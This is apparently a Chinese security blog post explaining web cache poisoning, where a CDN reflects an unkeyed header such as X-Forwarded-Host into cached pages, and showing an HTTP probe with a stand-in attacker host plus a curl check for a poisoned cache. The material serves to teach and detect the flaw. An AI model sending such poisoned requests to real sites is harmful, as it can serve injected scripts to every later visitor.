欢迎访问 内存溢出 —— 独立后端与系统工程技术博客

专注于分布式系统、Linux内核、数据库存储与后端工程实践

Web 缓存投毒:CDN 缓存键(Cache Key)污染与 XSS 放大

发表于:|最后更新:|分类:Web安全|阅读:7590 次

当 CDN 将未纳入缓存键的请求头(如 X-Forwarded-Host)反射进响应体时,攻击者可投毒缓存,使后续所有用户命中被注入恶意脚本的页面。

CDN 缓存拓扑

一、检测未规范化缓存键

http
GET /index.html HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.attacker.com

# 若响应体出现 evil.attacker.com 且被 CDN 缓存,则存在投毒风险
bash
# 验证缓存是否被污染
curl -s https://target.com/index.html | grep -i "evil.attacker.com"